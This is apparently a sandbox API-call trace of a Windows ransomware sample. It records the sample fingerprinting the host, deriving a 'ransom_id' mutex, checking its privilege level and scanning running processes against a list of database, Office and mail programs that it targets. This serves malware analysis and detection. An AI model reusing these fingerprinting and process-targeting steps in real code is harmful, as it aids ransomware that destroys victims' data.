	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30817370ffffe001
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe00130843374
	[0073.518] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xc48
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe00130aacb28
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fe8237000000000
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe00130aacb2c
	[0073.518] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012fe82370
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe00130aacb30
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30843370ffffe001
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe00130aacb34
	[0073.518] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xd18
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe0012fe82368
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x306c537000000000
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe0012fe8236c
	[0073.518] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001306c5370
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe0012fe82370
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30aacb30ffffe001
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe0012fe82374
	[0073.519] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xe14
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe001306c5368
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3003c63000000000
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe001306c536c
	[0073.519] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013003c630
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe001306c5370
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fe82370ffffe001
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe001306c5374
	[0073.519] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xed0
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe0013003c628
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x310696b000000000
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe0013003c62c
	[0073.519] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001310696b0
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe0013003c630
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x306c5370ffffe001
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe0013003c634
	[0073.519] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.519] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xee0
	[0073.519] NtUserSetWindowLongPtr () returned 0xffffe001310696a8
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30dd837000000000
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe001310696ac
	[0073.520] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130dd8370
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe001310696b0
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3003c630ffffe001
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe001310696b4
	[0073.520] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xef8
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe00130dd8368
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30d7583000000000
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe00130dd836c
	[0073.520] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffc000ac8479b9
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe00130dd83d8
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x103d5ffffc000
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe00130dd83dc
	[0073.520] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130d75830
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe00130dd8370
	[0073.520] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x310696b0ffffe001
	[0073.520] NtUserSetWindowLongPtr () returned 0xffffe00130dd8374
	[0073.520] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xf14
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00130d75828
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3931963000000000
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00130d7582c
	[0073.521] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00139319630
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00130d75830
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30dd8370ffffe001
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00130d75834
	[0073.521] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xf68
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00139319628
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xc1f242e000000000
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe0013931962c
	[0073.521] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xfffff800c1f242e0
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00139319630
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30d75830fffff800
	[0073.521] NtUserSetWindowLongPtr () returned 0xffffe00139319634
	[0073.521] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.521] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x0
	[0073.521] NtUserSetWindowLongPtr () returned 0xfffff800c1f242d8
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f463b3000000000
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff800c1f242dc
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f463b30
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff800c1f242e0
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x39319630ffffe001
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff800c1f242e4
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x4
	[0073.522] NtUserSetWindowLongPtr () returned 0xffffe0012f463b28
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x313fa33000000000
	[0073.522] NtUserSetWindowLongPtr () returned 0xffffe0012f463b2c
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffc000aa016a69
	[0073.522] NtUserSetWindowLongPtr () returned 0xffffe0012f463b98
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffc000
	[0073.522] NtUserSetWindowLongPtr () returned 0xffffe0012f463b9c
	[0073.522] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x8043
	[0073.522] NtUserSetWindowLongPtr () returned 0xffffc000aa016a30
	[0073.522] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x100000000
	[0073.522] NtUserSetWindowLongPtr () returned 0xffffc000aa016a34
	[0073.523] lstrlenW (lpString="聍") returned 1
	[0073.523] lstrlenW (lpString="聍㌳") returned 2
	[0073.523] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.523] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x1
	[0073.523] NtUserSetWindowLongPtr () returned 0xffffc000aa016a38
	[0073.523] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x0
	[0073.523] NtUserSetWindowLongPtr () returned 0xffffc000aa016a3c
	[0073.523] lstrlenW (lpString="聍㌳㌳") returned 3
	[0073.523] NtUserSetWindowLongPtr () returned 0xfffff90140818530
	[0073.523] SetWindowTextW (hWnd=0xc01fe, lpString="聍㌳㌳") returned 1
	[0073.523] SetWindowTextW (hWnd=0xc01fe, lpString="聍㌳") returned 1
	[0073.524] SetWindowTextW (hWnd=0xc01fe, lpString="聍") returned 1
	[0073.524] NtUserSetWindowLongPtr () returned 0xffffc000aa016a30
	[0073.524] lstrlenW (lpString="橩ꨁ쀀￿") returned 4
	[0073.524] lstrlenW (lpString="橩ꨁ쀀￿") returned 4
	[0073.524] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.524] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x103d5
	[0073.524] NtUserSetWindowLongPtr () returned 0xffffe00130dd83e0
	[0073.524] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x0
	[0073.524] NtUserSetWindowLongPtr () returned 0xffffe00130dd83e4
	[0073.524] lstrlenW (lpString="橩ꨁ쀀￿ϕ\x01") returned 6
	[0073.524] NtUserSetWindowLongPtr () returned 0xfffff90140818530
	[0073.524] SetWindowTextW (hWnd=0xc01fe, lpString="橩ꨁ쀀￿ϕ\x01") returned 1
	[0073.525] NtUserSetWindowLongPtr () returned 0xffffe00130dd83d8

Thread:
	id = 24
	os_tid = 0xf88

	[0072.986] CreateWindowExW (dwExStyle=0x80000, lpClassName="MyMainWnd", lpWindowName=0x0, dwStyle=0x10000000, X=1441, Y=901, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x203f2
	[0073.258] GetForegroundWindow () returned 0x203f2
	[0073.258] Sleep (dwMilliseconds=0x32) 
	[0073.311] GetMessageW (in: lpMsg=0x286ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x286ff64) returned 1
	[0073.371] TranslateMessage (lpMsg=0x286ff64) returned 1
	[0073.371] DispatchMessageW (lpMsg=0x286ff64) returned 0x0
	[0073.371] GetMessageW (lpMsg=0x286ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) 

Thread:
	id = 25
	os_tid = 0xf98

	[0080.739] Sleep (dwMilliseconds=0x3e8) 
	[0081.757] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x60000
	[0081.758] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fdc4 | out: phkResult=0x253fdc4*=0x98) returned 0x0
	[0081.758] RegQueryValueExW (in: hKey=0x98, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x60000, lpcbData=0x253fdd4*=0x80 | out: lpType=0x0, lpData=0x60000*=0x0, lpcbData=0x253fdd4*=0x2) returned 0x0
	[0081.758] RegCloseKey (hKey=0x98) returned 0x0
	[0081.758] wsprintfW (in: param_1=0x60000, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9
	[0081.758] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x70000
	[0081.758] VirtualAlloc (lpAddress=0x0, dwSize=0xe0c, flAllocationType=0x3000, flProtect=0x4) returned 0x80000
	[0081.758] GetWindowsDirectoryW (in: lpBuffer=0x80000, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa
	[0081.758] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x80200, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x80600, lpMaximumComponentLength=0x80608, lpFileSystemFlags=0x80604, lpFileSystemNameBuffer=0x80400, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x80600*=0xd2ca4def, lpMaximumComponentLength=0x80608*=0xff, lpFileSystemFlags=0x80604*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
	[0081.759] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fdc4 | out: phkResult=0x253fdc4*=0x98) returned 0x0
	[0081.759] RegQueryValueExW (in: hKey=0x98, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x8060c, lpcbData=0x253fdd4*=0x80 | out: lpType=0x0, lpData=0x8060c*=0x49, lpcbData=0x253fdd4*=0x54) returned 0x0
	[0081.759] RegCloseKey (hKey=0x98) returned 0x0
	[0081.759] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41
	[0081.759] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fdc4 | out: phkResult=0x253fdc4*=0x98) returned 0x0
	[0081.759] RegQueryValueExW (in: hKey=0x98, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x8065e, lpcbData=0x253fdd4*=0x80 | out: lpType=0x0, lpData=0x8065e*=0x49, lpcbData=0x253fdd4*=0x4a) returned 0x0
	[0081.759] RegCloseKey (hKey=0x98) returned 0x0
	[0081.759] wsprintfW (in: param_1=0x70000, param_2="%d" | out: param_1="-758493713") returned 10
	[0081.759] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3"
	[0081.759] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77c40000
	[0081.760] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
	[0081.760] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87
	[0081.760] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x70000, Length=0xae) returned 0xdce1bb8b
	[0081.760] VirtualFree (lpAddress=0x80000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.760] lstrlenW (lpString="WORKGROUP") returned 9
	[0081.760] lstrlenW (lpString="pc_group") returned 8
	[0081.760] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x80000
	[0081.760] lstrcpyW (in: lpString1=0x80000, lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\"
	[0081.760] lstrlenW (lpString="Global\\") returned 7
	[0081.760] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group"
	[0081.760] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group="
	[0081.760] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP"
	[0081.760] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&"
	[0081.760] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x90000
	[0081.760] wsprintfW (in: param_1=0x90000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16
	[0081.761] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id"
	[0081.761] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id="
	[0081.761] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def"
	[0081.761] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&"
	[0081.761] VirtualFree (lpAddress=0x90000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.761] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46
	[0081.761] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 0x98
	[0081.761] GetLastError () returned 0x0
	[0081.761] GetLastError () returned 0x0
	[0081.761] VirtualFree (lpAddress=0x80000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.761] VirtualFree (lpAddress=0x60000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.761] VirtualFree (lpAddress=0x70000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.761] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
	[0081.761] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
	[0081.761] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
	[0081.762] VerifyVersionInfoW (in: lpVersionInformation=0x253fe00, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x253fe00) returned 1
	[0081.762] GetCurrentProcess () returned 0xffffffff
	[0081.762] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x253ff18 | out: TokenHandle=0x253ff18*=0x134) returned 1
	[0081.762] GetTokenInformation (in: TokenHandle=0x134, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x253ff1c | out: TokenInformation=0x0, ReturnLength=0x253ff1c) returned 0
	[0081.762] GetLastError () returned 0x7a
	[0081.762] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0xd162f8
	[0081.762] GetTokenInformation (in: TokenHandle=0x134, TokenInformationClass=0x19, TokenInformation=0xd162f8, TokenInformationLength=0x14, ReturnLength=0x253ff1c | out: TokenInformation=0xd162f8, ReturnLength=0x253ff1c) returned 1
	[0081.762] GetSidSubAuthorityCount (pSid=0xd16300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xd16301
	[0081.762] GetSidSubAuthority (pSid=0xd16300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xd16308
	[0081.762] LocalFree (hMem=0xd162f8) returned 0x0
	[0081.762] CloseHandle (hObject=0x134) returned 1
	[0081.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xce2de0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134
	[0081.762] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x1388) returned 0x0
	[0082.106] CloseHandle (hObject=0x134) returned 1
	[0082.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x134
	[0082.110] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0x60000
	[0082.111] Process32FirstW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0082.111] lstrcmpiW (lpString1="msftesql.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="sqlagent.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="oracle.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="ocssd.exe", lpString2="[System Process]") returned 1
	[0082.111] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="synctime.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="ocomm.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="dbeng50.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="excel.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="infopath.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="msaccess.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="mspub.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="onenote.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="outlook.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="powerpnt.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="steam.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="thebat.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="thebat64.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="thunderbird.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="visio.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="winword.exe", lpString2="[System Process]") returned 1
	[0082.112] lstrcmpiW (lpString1="wordpad.exe", lpString2="[System Process]") returned 1
	[0082.112] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x66, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0082.113] lstrcmpiW (lpString1="msftesql.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="sqlagent.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="oracle.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="ocssd.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="synctime.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="System") returned 1
	[0082.113] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="System") returned 1
	[0082.113] lstrcmpiW (lpString1="ocomm.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="System") returned -1
	[0082.113] lstrcmpiW (lpString1="dbeng50.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="excel.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="infopath.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="msaccess.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="mspub.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="onenote.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="powerpnt.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="steam.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0082.114] lstrcmpiW (lpString1="thebat.exe", lpString2="System") returned 1
	[0082.114] lstrcmpiW (lpString1="thebat64.exe", lpString2="System") returned 1
	[0082.114] lstrcmpiW (lpString1="thunderbird.exe", lpString2="System") returned 1
	[0082.114] lstrcmpiW (lpString1="visio.exe", lpString2="System") returned 1
	[0082.114] lstrcmpiW (lpString1="winword.exe", lpString2="System") returned 1
	[0082.114] lstrcmpiW (lpString1="wordpad.exe", lpString2="System") returned 1
	[0082.114] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0082.115] lstrcmpiW (lpString1="msftesql.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="sqlagent.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="smss.exe") returned 1
